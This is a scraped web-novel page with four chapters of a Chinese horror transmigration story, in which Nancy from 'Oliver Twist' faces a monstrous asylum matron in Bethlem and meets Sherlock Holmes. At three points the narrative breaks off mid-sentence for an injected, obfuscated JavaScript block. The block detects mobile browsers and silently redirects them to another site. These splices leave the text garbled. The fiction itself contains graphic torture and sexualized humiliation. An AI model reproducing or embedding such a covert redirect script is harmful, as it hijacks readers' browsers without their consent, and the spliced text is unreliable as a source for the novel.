《开局疯人院,但成为邪神[综名著]》 1. 第一日 001 “——南希·赛克斯!” 南希猝不及防,被孔武有力的大手直接拽到室内,就这么摔在了地上。 痛! 她终于回过神来,就看到一个宽阔的背影站在自己面前,是个四十多岁、五大三粗的中年妇人,正不住叫骂:“这么晚了,还有病人送过来,真是晦气。” 这是哪里? 头疼的像是被针扎过,南希晕晕乎乎起身,不属于自己的记忆自脑海中浮现。 她叫南希,生活在十九世纪的伦敦,本是名街头小偷。长大之后,因姿色可人,被贼头送给同伙,给一名叫姓赛克斯的强盗做女人。 等等,这不是英国作家查尔斯·狄更斯《雾都孤儿》中的剧情吗? 所以她成为了小说中因善意而惨死的孤女南希! 但紧接更多的记忆席上心头—— 赛克斯嫌恶南希不够听话,经常对她打骂羞辱。就在今天刚入夜,赛克斯喝多了酒,更是斥责她是个邪恶、放荡的坏女人,直接将她送来了贝特莱姆精神病院。 小说里倒是没写这段,但这还不如原作剧情呢。 所以,她现在位于贝特莱姆精神病院。 南希心理咯噔一声。 十九世纪的精神病院,不太妙啊! “快点,你们两个,给我去墙边站好!” 那名中年妇人骂骂咧咧道,“否则就别怪格兰迪夫人我不客气了。” 南希赶忙低头,走到了墙边。 整个房间逼仄陈旧,两名女看守站在门前,而与南希一同站在墙边的,还有一名二十出头的姑娘,面容苍白、神色惊恐,完全被凶巴巴的格兰迪夫人吓坏了。 她身上的衣服比南希干净多了,还算体面。 不知道又是因为什么,和南希一同被送往了精神病院。 “脱衣服。” 格兰迪夫人冷声命令,“要脱光,接受检查。” 什么? 南希一愣:当着所有人的面? 她飞快环视四周,发现房间四周放置着不少藤编衣篓,里面放置着不少脱下的衣物和还没用过的束缚带。 显然,这是进入精神病院的必要流程。 有必要吗!她们又不是囚犯。 就在南希迟疑之时,那名体面的小姐率先开口了。 她战战兢兢地看着中年妇人:“那,那个,我能不能去单独的房间换?” 一句简单的问题落地,格兰迪夫人骤然变了脸色。 粗壮又肥胖的中年妇人,直接抄起了手边的戒尺,二话不说就朝着这名体面小姐打了下去! “啪”的一声巨响,戒尺与衣物相撞。 那名小姐尖叫着倒地。 南希蓦然瞪大眼。 不是,这就打人,还有没有王法了?! 然而格兰迪夫人还不放过她,拿着戒尺,居然就这么俯身殴打起来! 一时间,室内充斥着那名小姐的惨叫和戒尺响声。 “什——别打我!救命,救命!” “救什么命,戈尔登小姐,我可是为了你好。” 格兰迪夫人一边打人,一边还扬声喊道。 “你可是被继母送进来的,说是品行不端,和男人私通中了淫()毒,脑子变得不清醒了!” 她话音落地,又是一戒尺,结结实实地落在戈尔登小姐的后背。 “谁知道你们这群荡()妇,会不会将淫()秽的东西藏在身体里带进去?必须检查干净才行。” 她说完,门口的两名女看守果断冲了过来。 三人就这么抓着戈尔登小姐的头发、撕开她的衣衫,连发夹和袜子都不落下。 她们像处理牲口那般,将戈尔登小姐剥去外皮,粗糙的手指在皮肤上摸索来摸索去。确认无误了,才强行替她换上白色的粗棉长裙。 一套流程,行云流水。 打的戈尔登小姐不住啜泣,别说反抗了,她趴在地上,连站起来的人样都没了大半。 格兰迪夫人紧接着扭头看向南希。 “我自己来。”南希立刻抬手解开长裙纽扣。 识时务者为俊杰,不就是脱光衣服吗,总比挨打好! 看戈尔登小姐这幅惨状,感觉已经被打去了半条命,没病也得生出病来。 知道十九世纪的精神病院很恐怖,毕竟惊悚电影和游戏里都是这么做的。但南希万万没想到,她们完全不拿病人当人看啊! 南希迅速认清现实,手脚麻利地脱光了打着补丁的破旧衣物。 真正的十九世纪是这样吗? 她脱着衣服,脑子里不住转动,她记得明明—— 嘶,头好痛。南希试图回忆自己本身的记忆,惊觉脑内一片空白。 关于她是谁、她从哪而来,为什么成为了《雾都孤儿》中的“南希”。 她什么都想不起来。 而现实情况也不允许南希慢慢思考,她认命地高举双手,赤()条()条接受女看守检查。 好在因为她足够配合,女看守没有为难她。 递过来的衣物没完全洗干净,上面还带着淡淡的尿味。 南希:“……” 算了,往好处想,这至少比赛克斯塞给原身的衣服干净呢。 她心一横,将粗棉病服直接套到脑袋上。 “这还差不多,”她气顺了不少,也就没侮辱性地去抠挖南希的私()处,“总有听话的。菲娜·戈尔登,去绳索间,是该教教怎么听话。你,你去七号病房。” 南希心中一突:绳索间是什么? 听起来就不是什么好词,她同情地看了一眼气息奄奄的菲娜·戈尔登小姐,乖乖跟着其中一名看守走出更衣室。 步入女病号区的长廊,南希第一时间屏住呼吸。 因为是夜晚,整个东翼光线昏暗,女看守举着煤油灯,影子在白墙被拉得很长,步行之时,影影绰绰。 所有的房间都反锁紧闭,偶尔经过之时,里面还会响起几声嚎啕和尖叫。 南希不免打了个寒战。 百余年后的主题密室和鬼屋,还是设计的太保守了。 女看守停在七号病房前,用钥匙开锁,粗鲁地推了南希一把。 “明天六点起床。”她冷言冷语,“别让我听见你们夜里捣乱。” 南希猛得踉跄,险些栽进病房里。 房门“哐当”关死,然后是铁门被重新锁上的声音。 她勉强扶着墙壁,稳住身形。 整个病房内只有一张开在天花板边缘的小窗子。幸好今天月色明亮,月光透过窗棂倾洒进来,南希才得以看清,她居然还有两个室友。 开门声让两名“病人”同时起床。 ——这“病人”,确实值得打个引号。 距离空床最近的那个姑娘一挑眉梢,“嗯?看起来居然没挨打,是个聪明人。你怎么逃过去的?” 也是名年轻姑娘,看起来不过十八、九岁。 回想起来更衣室的场景,南希就后怕。 “和我一起来的那名小姐挨了打,她是被继母送来的,”她拍了拍胸口,“还被送去了什么绳索间……我看那副模样,赶紧配合检查。” 坐在床边的两名病友,在听到“绳索间”一词后都纷纷变了脸色。 主动搭话的姑娘摇了摇头:“刚来就被送去了绳索间?上帝保佑她!幸好你足够配合。” 她这幅模样,倒不像是坏人。 “內莉·布朗,”年轻姑娘自我介绍,“是你的室友——那位是路易斯·施密特,德 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16322493|183145||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 国人,不太会英语。” 说完她指向另外一名坐起来的女性。 南希循着她的提醒看过去,对面的床上,容貌更是年幼。 这两个人都不像是有精神疾病的样子。 于是她吞了吞唾沫:“……我叫南希,我没病。” 內莉眨了眨眼。 下一刻,她噗嗤笑出声。 “谁不是呢?”內莉莞尔,“但不管你是怎么进来的,南希,别忤逆格兰迪夫人,她是护士长——女病号区的维多利亚女王!一句话就能把你送进地狱里去。” 南希已经在更衣室里见识过了! 这哪是护士长,这简直是土皇帝。进门就是服从性测试,可见贝特莱姆精神病院的病号都过着什么日子。 更重要的是,不管是她,还是名为南希的原身,都没有精神疾病。 这两位室友看似也是一样。 “你们……”南希试探性出言,“没想过离开吗?” 正常人谁要在这种地方坐大牢受虐待啊! 內莉摊开手:“那也得能走才行。” 南希:“去和医生谈谈?” 那名德国姑娘,似乎听懂了“医生”这个词,和內莉同时苦笑起来。 “你刚进来,第二天肯定会有医生会诊,到时候你可以试试看——不过我劝你别抱希望,南希,祈祷送你进来的人后悔可能性更大。” 说着,內莉叹了口气。 “今晚你先好好休息,”她温声提醒,“等到明天早上,我给你好好说明情况。” 听起来,內莉是个很好心的人。 南希想了一圈,也想不到同样被彻底搜身、还同病相怜的“病友”能有什么陷害自己的地方。 而且,这种情况下,她也没有别的选择。 于是南希只能点了点头,走到了空床边。 只是在这种情况下,想睡着实在是太难了!南希躺在还散发着淡淡霉味的床铺上,脑子里乱糟糟的。 她怎么成为了《雾都孤儿》中的南希?并且一睁开眼,人物走向就与原作剧情不一样了。 更麻烦的是,“南希”完全没有属于自己的记忆。 每每试图回想,她的脑袋就像是被长针扎穿了一样刺痛,南希试了几次,最终选择放弃。 慢慢来吧,不论如何,首要目标是离开这鬼地方。 她合拢双眼。 惊魂一晚,到底是伤劳心神。南希思绪乱七八糟,仍然勉强睡了过去。 只是她睡得并不安生。 意识沉沉浮浮,大概过了两三个小时,南希突然听到“咔嚓”一声。 是房门开锁的声音。 清脆声响在死寂的病房内回荡,分外明晰。她一个激灵,睁开眼睛。 反锁的七号病房房门,不知何时开了。 窗棂的月光被乌云遮蔽,整个室内模糊不清,而敞开的房门之外,长廊更是全然的黑,像是一汪深井,看不到任何情况。 是看守开的门吗?但南希完全没听到脚步声,没听到任何多余的动静! 这……太诡异了! 她心里打了个突,偷偷抬起头。 “內莉、路易斯?”南希轻声喊出室友的名字。 没有回应。 她趴在床上片刻,直至双眼适应了全然的黑暗,才发现病房内余下的两张床空空如也。 两名还算友善的病友不见了。 那一刻,南希的汗毛都竖起来了! 什么情况?! 她惊疑不定之时,骤然听到一个陌生的声音在自己耳畔响起。 与此同时,视野中凭空出现了两行冷冰冰的字体。 【副本:贝特莱姆精神病院。】 【角色:南希,目前死亡次数:0。】 2. 第一夜(一) 002 什么? 南希怔怔盯着眼前漂浮的字幕。 不对吧,说好的《雾都孤儿》剧组呢?! 原作剧情面目全非,被送入精神病院就够麻烦了,怎么还一转副本攻略了? 而且…… 她往深不见底、犹如黑洞般的长廊看了一眼,只觉得内心寒意陡升。 南希在床上趴了数十分钟,寂静的室内什么都没发生。 室友的病床还是空荡荡的,反锁的病房门被打开,看守好似也没发现情况。眼前的字幕依旧漂浮在空中不动,就算南希闭眼也没有消失。 可恶啊! 既然写明了是副本,南希推测,如果不触发下个剧情、或者完成特定任务,她会永远卡在这里。 南希又往漂浮在半空中的字幕一瞥。 那个死亡次数,多看两眼她都头皮发麻,但这也透露出了有用的信息:死亡次数有0就会有1,所以,她大概率能复活? 得去外面看看。 总不能一直躺在这里到海枯石烂吧! 趴在床上的南希深吸口气,猛然起身,朝着病房门口走了出去。 跨过门槛,她融入纯粹的黑。 来时就昏暗的长廊,变得伸手不见五指。除却眼前的字幕,南希看不到任何东西,只能摸索着扶住墙壁。 太安静了,周围什么声音也没有,她只能听到自己的呼吸。 她心里没底,忍不住回头。 敞开的房门变成了和前方一样的黑,南希伸手向后方的门框摸去,触及到的却是空气。 病房不见了。 南希心跳猛然加快。 她吞了吞唾沫,强迫自己冷静下来。 场景发生了变动,但也是好事,南希心想。这在恐怖游戏或者电影里,证明她进入了正确剧情。 没有退路了,南希只得硬着头皮前进。 她摸着墙面,小心翼翼地挪步,就这么走了大概两、三分钟的时间。南希的手往前一伸,摸到了一扇门。 再抬头,视野中纯粹的漆黑散去一部分。 光线依旧晦涩,却能够勉强看清眼前的场景。 是一扇和七号病房相同制式的门,没有锁,虚掩着。房门正中央写着三个大字—— “绳索间”。 南希的手猛然顿住。 绳索间? 她被送进来的时候,倒霉的菲娜·戈尔登小姐,就是因为拒绝当众脱光衣物,就被护士长格兰迪夫人毒打一顿,然后宣布送她进入什么绳索间。 当南希提及此事时,两位室友都露出了后怕的表情。 这一定不是什么好地方,而且,南希来到七号病房时,也没见到戈尔登小姐。这绳索间大概率和普通病房不是一个楼层。 为什么会在这里? 不管了,摆明这就是触发剧情的地方。 她绷紧面容,心一横,推开房门。 金属铁门打开,发出轻微声响。眼前终于出现了灯光,南希站在门前,得以看清绳索间的内部构造。 这比她所在的病房大一倍,总共六张床位,排成两列。天花板上垂着长短不一的绑带,墙壁上钉着固定器和金属环。 角落里,无数约束带、绳索,上面沾着斑驳血迹和污泥。 比起病房,简直就是刑场。 绳索间的正中央,放着一个高背木椅,上面用层层绳索和束缚带绑着一个人。 是戈尔登小姐! 南希第一眼就认出了她。 不久之前才被毒打的戈尔登小姐,浑身赤()裸、鲜血淋漓,她的头发被全部剃去,浑身不住战栗。 她似乎是听到了开门声,在南希稍稍推开一条门缝时抬起眼。 触及到南希的面孔,戈尔登小姐猛然瞪大双眼。 清澈泪水从她的浅色眼睛中夺眶而出,冲刷着脸颊上的血痕。戈尔登小姐颤颤巍巍张开嘴,啜泣出声。 “救……救救我……” 她的声音沙哑且无力,似乎已经丧失了所有力气。 但戈尔登小姐仍然拼命呼救。 “求求你……救救我……” 该死。 南希攥紧衣襟。 要救人吗?南希环视四周,确认这“绳索间”空空荡荡,除了被反绑的戈尔登小姐之外,没有任何人影。 站在门口也不是个事,打游戏也总得触发剧情吧! 她心一横,进一步推开房门。 跨进绳索间时没有任何事发生。 南希屏息凝神,一面听着背后的动静,一面快步走向戈尔登小姐。 当她停在木椅前时,戈尔登小姐已经泣不成声。 “谢谢你,南希,”她哭着说,“我会报答你的,让我做什么都行,我不想呆在这里了!” “嘘,保存体力。” 南希看着心里难受,赶忙去拆戈尔登小姐身上的绳索,“你别出太大动静,我在听外面的声音。” 戈尔登小姐赶忙闭上嘴。 她竭力忍住哭腔,而南希飞快地解开戈尔登小姐上半身的绑带。只差腿上的束缚,南希蹲下()身,伸手去碰触捆住戈尔登小姐双脚的皮绳—— 余光里的墙壁在动。 那一刻,南希简直心肺骤停。 她猛然扭过头,就看到那惨白的墙壁之中,一坨黏稠、臃肿的白色脓包掉了下来。 那坨脓包在地面上以可怕的速度凝聚成人形。 肥胖魁梧、满身脓液,白色的制服遮不住液体滴滴答答下落。她脸上的皮肉不断蠕动,双臂完全化成了戒尺和鞭子的模样。 这是…… 南希震撼地认出来,这身衣物和身形,是护士长格兰迪夫人?! 戈尔登小姐当场尖叫出声。 “别过来!你别过来,不要杀我!” 她挣扎着要起身,但双脚的束缚还没解开,戈尔登小姐当场一个趔趄,摔倒在地。 南希顾不得地上的戈尔登小姐,连连朝着门口后退。 “格兰迪夫人”完全与房间融为一体,她没有脚,脓包朝着前方流动:“戈尔登小姐,我可是为了你好!还有……还有你。” 她彻底溃烂的五官还爬着白色的虫,那双浑浊的眼珠滴溜溜转向南希。 “我就知道你也不是听话的好女人……南希·赛克斯,”巨大的脓包开口,“必须给你立立规矩才——站住!” 谁要站住啊,等死吗? 南希甚至不等格兰迪夫人说完,她当场放弃戈尔登小姐,一个健步,冲出了绳索间! 原身街头小偷的出身,在此时发挥了用处。 绳索间的铁门向内关拢,南希一个闪身,就顺着门缝挤了出去。 太可怕了! 铁门在身后“哐当”巨响反锁,南希也顾不得前方一片黑暗,拔腿就跑! 只是铁门并没有阻拦格兰迪夫人的追杀。 南希跑出去七八米,就觉得脚下的地板开始蠕动,黑暗之中,墙壁也似乎朝着自己挤压过来。病房外的长廊越来越拥挤,纯黑的环境逐渐有了亮光,但眼见着白色墙壁滴滴答答往下滴落脓水,还不如黑着呢! 落下的脓水在南希身后凝聚成了格兰迪夫人肥胖扭曲的模样。 身后的怪物一甩长臂,戒尺直接打向了南希的脚踝。 痛! 尖锐的痛楚直袭脑门,南希骤然失去平衡,跌倒在地。 “去绳索间!” 格兰迪夫人尖叫道,“是该教教这些荡()妇怎么听话了!” 更多的脓水从地板挤出来,变成了白色的绑带和绳索,直接朝着南希袭击过来! 完蛋了! 她屏住呼吸,直接闭上眼— ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16322494|183145||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' — 预料之中的疼痛和束缚却没有到来。 周围安静下来了。 南希静等三秒,小心翼翼地掀开眼皮。 白色的墙壁不见了,恶心巴拉的脓水和格兰迪夫人也失去了踪影。 她撑起身体,环视四周,在漆黑的环境之中,南希发觉自己躺在七号病房的床上。 其他两张病床空空如也,室友失去踪影,而病房的铁门敞开着,望过去就像是在凝视着一个黑洞。 这是……回来了? 南希的心跳还在砰砰作响,她坐起身,缓了好半天,才感觉肾上腺素渐渐褪去。 视野中的字幕发生了变化。 她抬眼,分明看到不属于现实的字体悄无声息地发生了改变。 【副本:贝特莱姆精神病院,当前关卡:绳索间。】 【角色:南希。】 【目前死亡次数:1。】 南希只觉得自己好不容易平缓的心跳,又控制不住地加快。 她赌对了,果然绳索间是关卡,果然她是能够读档复活的。 但是—— 这个死亡次数,是否拥有极限?要是命数有限,事情就麻烦了! 这么想着,南希再次起身,走进那深不见底的长廊。 不知道精神病院怎么变成了恐怖片现场,也不知道室友去哪里了。但唯一能确认的是,想要突破这诡异的场面,就得按照提示,通过绳索间的关卡。 经历过一次后,南希熟门熟路走到了绳索间亮起的门前。 这次她没着急推门。 进去之后该怎么办?南希思索起来:显然当前关卡的反派Boss就是变成了怪物的格兰迪夫人,但她好似完全和这墙壁地板——也许是整个疯人院融为一体。南希手无寸铁,她不觉得自己有徒手撕怪物的本事。 通过关卡一定有其他方法。 回想了一遍刚刚发生的事情…… 绳索间内的画面虽然残忍恐怖,但和她入睡之前的经历是联系的。 戈尔登小姐惨遭毒打,被送入“绳索间”。而怪物版本的格兰迪夫人说的话,也和更衣室里她的宣言大差不离。 唯一不同的是…… 怪物版的护士长对南希说,“我就知道你也不是听话的好女人”。 所以听话的才是好女人。 现实中南希没挨打,也是因为她听了格兰迪夫人的话,乖乖脱光衣服。 南希恍然大悟:这也许就是绳索间的行事准则! 把不服不听话的病人虐待到听话,所以,只要她服从格兰迪夫人的规则就够了。 想通这点,南希阖了阖眼,手伸向了门把手。 就在她准备推开门的刹那—— “我不建议你贸然行事,女士。” 纯粹、寂静的黑暗中,冷不丁响起一道平静的男中音。 完全沉浸在自己思绪中的南希,当场吓得一个激灵。 什么鬼? 这可是女病房区,怎么会有男人。 不对,怎么会有其他人?!上一轮读档,她可没在走廊上碰到任何人! 南希猛然转身,双眼被唐突出现的光亮刺到流泪,她下意识抬手去挡,等了许久,才适应了眼前的光芒。 是个男人。 他衣着朴素,像是个干杂活的,但手中的煤油灯却照亮了一张不属于底层民众的面孔。 身形高挑瘦削、容貌端庄深刻,男人看起来二十五、六岁左右,一双灰色眼睛如鹰隼明晰锐利,鼻梁高挺略作鹰钩。 怎么看,都和杂活工人毫无关联。 更让南希震惊的是—— 她的视线不自觉往男人头顶上瞟。 视野之中,男人的头顶上方,明晃晃挂着一行字幕。 【NPC:歇洛克·福尔摩斯。】 福尔摩斯?! 3. 第一夜(二) 003 歇洛克·福尔摩斯?! 南希彻底呆住。 说好的《雾都孤儿》呢?先是偏离了原著剧情,她被送来了疯人院;又一觉睡进了恐怖游戏现场,被变成怪物的护士长狂追。 现在,连大名鼎鼎的英伦侦探都出场了。 “你,你是?”南希吞了吞唾沫,压低声音问。 好在周遭环境实在诡异,南希完全可以假装自己是被吓坏了,好以掩盖碰见“熟人”的尴尬。 “约翰。” 福尔摩斯俯身,从地面捡起自己的帽子,拍了拍上面的土,“约翰·史密斯,女士,我是男病号区的护工,你是……?” 南希闻言又往福尔摩斯头顶飘着的真名瞥了一眼。 他自称护工,当然不能用本名来。在《福尔摩斯探案集》中,变装、潜入,对歇洛克·福尔摩斯来说是小菜一碟。 大侦探潜入贝特莱姆精神病院,证明这里有案子。 会和这诡异的梦境相关吗? 南希收敛心神:“南希。史密斯先生,你怎么从男病号区过来的?” 福尔摩斯将工人戴的八角帽重新戴回头顶。 “说来奇怪,我在宿舍正常入睡,突然听到房门被打开,就一路摸黑走来,”福尔摩斯说,“居然碰到了你,南希女士,我从没在工作时见过你。” 居然是从男病号区走过来,而且听上去,歇洛克·福尔摩斯的“遭遇”和自己大差不离。 同样是醒来后走出房门,然后在全黑的环境中走到了绳索间门前。 怪不得第一次没碰到他,南希明白了。 她当时直接推门,刚好与摸黑前行的侦探错过。而第二次,南希进门之前思索许多,等到了歇洛克·福尔摩斯抵达绳索间。 如果这是一部恐怖游戏,大侦探福尔摩斯和南希一样是玩家。 还是联机游戏呢!南希苦中作乐地想。 同时,她也没错过福尔摩斯话语中的试探。 “因为我不是精神病院的工作人员,史密斯先生,”南希叹了口气,“我是入夜才被送过来的新……‘病人’。” 南希在“病人”一词上加重了语气。 话音落地,福尔摩斯锐利的目光向南希扫过来。 不知道大侦探在内心动用了什么神乎其神的推理,但片刻过后,笃定出言:“仅从外表看,女士,我不认为你患有精神疾病。” 南希干笑几声:“那我要说一些精神病患者才会说的话了,先生。” 福尔摩斯一挑眉梢:“比如说?” 南希直接了当:“门内有怪物。” 死寂的长廊陷入诡异的沉默之中。 歇洛克·福尔摩斯的视线尖锐,犹如鹰隼,虽然不带敌意,但审视的眼神仍然让南希有些不舒服。 但在她产生反感之前,侦探收回了近乎无礼的打探。 “在我来到之前,你进过这扇门了吗?”他问。 “以另外一种方式,先生。”南希说。 “你亲眼见识到了里面有怪物。” “是的,我还能告诉你我在里面看到了什么。” “我相信你。” “哎?” 南希瞪大眼。 就算你是歇洛克·福尔摩斯,鼻子顶上长得也不是测谎仪啊!说好的大侦探是彻头彻尾的唯物主义者呢,这么轻易就相信了? 也许是南希的神情太过震惊,这让福尔摩斯飞快地扯了扯嘴角。 “精神病院的男女病人是隔离管理的,南希女士。”福尔摩斯道,“诊断区设有铁门,入夜落锁,东西病区互不相通。” 南希点头:“可你走了过来。” “而且毫无阻碍。”他眼神冷静,“没有铁门、没有门锁,长廊笔直,也没有岔路。我试图绕行或进入其他房间,但没有摸到任何出入口。” 南希心中一紧,这与她所经历的副本结构一致。 “这在现实中是无法成立的。”福尔摩斯继续道,“要么我在睡梦中遭遇了绑架,要么我因某种原因陷入了幻觉。而在此期间,你是我遇到的唯一具备自我意识的人。” 他顿了顿,目光定在南希脸上:“我不知你看到的是否确有其事,但我相信你没有说谎。南希女士,你在绳索间里看到了什么?” 南希抿了抿嘴角。 “格兰迪夫人成了怪物,和墙壁融为一体,抓走了戈尔登小姐。”南希低声说,“但她不袭击所有人,只‘惩罚’不听话的病人。所以我们进去之后,别违反她的规矩。你能配合吗,史密斯先生?” 福尔摩斯阖了阖眼。 “可以。”他说。 南希浅浅松了口气。但下一刻,侦探用冷静的语气继续开口:“你并不信任我,南希女士。” 她没说出前因后果。 当然不行,谁知道眼前的歇洛克·福尔摩斯是活人还是别的? 连格兰迪夫人都变成了怪物,万一这名侦探也是怪物伪装的呢。还摸不清情况,南希选择有所隐瞒。 比起解释,这一番话更像是总结——她总不可能告诉福尔摩斯,自己是进门“死”了一次读档才知道情况的吧? 大不了,就再重来。 “你我素不相识,在这种环境下,对我产生提防之心,合情合理,”福尔摩斯说,“我可以遵循你提出的要求,但若是进门之后,出现任何意外情况,我会选择优先自保,你能接受吗?” 不过,福尔摩斯直接点破之后,却选择理解,这让南希内心好受了许多。 她轻轻颔首:“这是人之常情。” 福尔摩斯:“那么,你可以开门了,女士。” 只能如此了! 至少第二次开门,身边还有了个大活人呢。南希鼓起勇气,按下门把手。 绳索间的铁门“吱呀”一声打开。 较为宽敞的病房再次落入眼帘,南希听到福尔摩斯在看清一切后呼吸微顿。 “别管她,躺到病床上。”南希低语。 戈尔登小姐仍然被反绑在房间正中央,一见到南希和福尔摩斯,她拼命挣扎起来,啜泣着喊着救命。 南希硬着头皮装作没看见。 她先行一步,走到了绳索间的病床,慢吞吞地躺了下来。 道理很简单——进门的准则是要听话、不能妨碍格兰迪夫人。 这偌大的病床,总不能直接坐进镣铐里吧!思来想去,还是躺在床上比较合理。 她先行躺下,门边的福尔摩斯踯躅片刻,也跟着进门,小心翼翼地躺在另外一张床上。 室内回荡着戈尔登小姐的哭泣和呼喊。 “救……救救我……” “求求你了,南希,还有这位先生,放我出去,求求你们了!” 南希绷紧面容。 她将双手搁置在胸口,往旁边床上一瞥,歇洛克·福尔摩斯恪守诺言,他同样躺在床上,甚至没有多看戈尔登小姐一眼。 下一刻,绳索间的墙壁开始蠕动。 一大坨白色脓包,就这么从墙壁和天花板交接的位置坠落在地板上,变成了狰狞扭曲的护士长模样。 “喊什么!你真是冥顽不灵,怪不得被继母送到了这里来,戈尔登小姐。” 穿着护士服的脓包挥舞着双臂向戈尔登小姐靠近。 戈尔登小姐尖叫一声:“别过来,饶了我啊——!” “啪!”的一声巨响。 格兰迪夫人化作鞭子的手臂一挥,重重打在戈尔登小姐身上! 后面的求饶变成了惨叫,南希甚至听到了皮肉开绽的声响。 血珠随着鞭子挥洒,还有一些飞溅至南希的小臂上。血液温热黏稠的触感让她情不自禁打了个寒战。 这怪物什么时候走? 格兰迪夫人连续给了戈尔登小姐数十鞭,才穿着粗()气停了下来。 椅子上的戈尔登小姐已经发不出声音了,她张着嘴,哭都哭不出来,身上、嘴角,血肉模糊。 白色的脓包好似觉得这还不够,她肥胖古怪的身躯在椅子前不住左右蠕动。 “真是不知悔改的婊()子,你这么不听话,一定是把不干净的东西偷偷带了进来,”格兰迪夫人喃喃自语,“检查了嘴巴和下面,但是还没有检查里面……对,你一定是把淫()邪的物件吞了进去,我倒要看看,你肚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16322495|183145||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子里藏了什么脏东西!” 戈尔登小姐蓦然瞪大眼。 已经濒死的年轻小姐,再次爆发出求生的力气,挣扎起来:“不要,求求你,放过我……南希,救救我!” 她猛然扭头看向躺在床上的南希。 “你躺着干什么啊,你要眼睁睁看我死吗,救救我!”戈尔登小姐声嘶力竭喊道,“我死了,她不会放过你的!” 南希猛然攥紧拳头。 但她的推测是对的! 没有救戈尔登小姐,就不会妨碍格兰迪夫人,因此哪怕这一回多了个歇洛克·福尔摩斯,护士长也没有袭击他们,好似他们完全不存在一样。 只要遵循格兰迪夫人的“规矩”,她就不会注意到其他人。 连戈尔登小姐直接喊出南希的名字,都没让格兰迪夫人扭头。 她整个身躯再次膨胀,肥大到几乎将眼前的椅子淹没。溃烂流脓的面容在戈尔登小姐面前晃来晃去。 “你藏不住的。” 格兰迪夫人喃喃自语,从胸前的围裙口袋,掏出一把旧锯子。 戈尔登小姐哭嚎出声。她试图起身、后退,但被皮带和绳索死死勒在椅子上动弹不得。 “我会掏干净你体内的所有脏东西!” 然后,旧锯子猛然下压。 “刺啦”一声响。 布料撕扯、皮肉开绽,血腥的味道扑面而来。南希闭上了眼睛,而锯齿割开骨头的声响刺入耳朵,让南希控制不住地战栗。 戈尔登小姐的尖叫已经变成了气音,风箱般的喘息和喉咙伸出的呻()吟听起来更是让人头皮发麻。 南希咬紧牙关。 她不能动,也不敢睁眼。呼吸浅到近乎停滞,就听到椅子的方向传来哐当声响,似是锯子落地。 格兰迪夫人喘着粗气,而后是皮肉和衣物落地,摩擦地板的声音。 似乎是她将戈尔登小姐从椅子上解开、拖到了地上。 空气中满是血液、胃液和组织液的味道,熏得南希只想干呕。她强忍着恶心,期盼这一场噩梦般的场景抓紧结束。 然而下一刻—— “南希·赛克斯。” 变成脓包的护士长用沙哑声音喊出了南希的名字。 “到你了。” 她宣布。 南希浑身如坠冰窟。 什么叫到她了?她不得不睁开眼,就看到那膨胀到天花板的脓包,将溃烂的脸转向了她,浑浊的眼珠紧盯着躺在床上的南希不放。 格兰迪夫人裂开嘴,露出腐烂焦黑的口腔,“到椅子上去。” 怎么回事。 南希冷汗都下来了! 难道突破关卡的标准不是遵守规则?那该是什么,救人不行,不救也行,这门还必须得进。 “快点!”格兰迪夫人的声音骤然拔高。 她一个激灵,不得不起身。 周遭的环境暗下来,只有鲜血淋漓的椅子上方亮着光芒。这样也好,至少南希不用去直视戈尔登小姐的遗体—— “格兰迪夫人。” 和这绳索间格格不入的冷静男中音蓦然响起。 南希又是吓了一跳。 肥大臃肿的怪物,以可怕的速度转头,看向了室内的另外一张床。 不知何时,歇洛克·福尔摩斯已经从床上站了起来。 瘦削清隽的侦探昂头看向护士长,面容依旧冷静如常,他摘下帽子,“你还记得我吗?约翰·史密斯。” 格兰迪夫人没有直接袭击。 高高举起戒尺的她,因福尔摩斯的话停顿了片刻,而后哑声出言:“约翰·史密斯……我记得你,男病房区新来的护工,你到东边来做什么?” “登特医生请我过来的。” 福尔摩斯张口就来,与此同时,南希分明看到他摘下帽子的手,朝着绳索间的出口指了指。 南希愣了愣,而后迅速回神。 他要自己趁机离开。 说好的优先自保呢?南希心情骤然复杂。 歇洛克·福尔摩斯为她吸引了注意力,要南希先行从绳索间逃走! 南希犹豫了:她走还是不走? 4. 第一夜(三) 004 南希迟疑了瞬间,做出决定。 走! 歇洛克·福尔摩斯是冒着生命危险站了出来,任何迟疑,都会错过这宝贵时机,从而导致两个人都交代在这里。 因而趁着白色脓包转过身的功夫,南希默不作声地挪向门边。 “登特医生喊个男人来做什么……” 格兰迪夫人脓肿的身躯在室内蠕动,“井水不犯河水,我不管他,他也别来坏我的——南希·赛克斯!” 该死,她背后长了眼睛吗,这反应也太快了! 南希二话不说,直接跨出绳索间门槛,拎起病服裙摆,夺路狂奔! 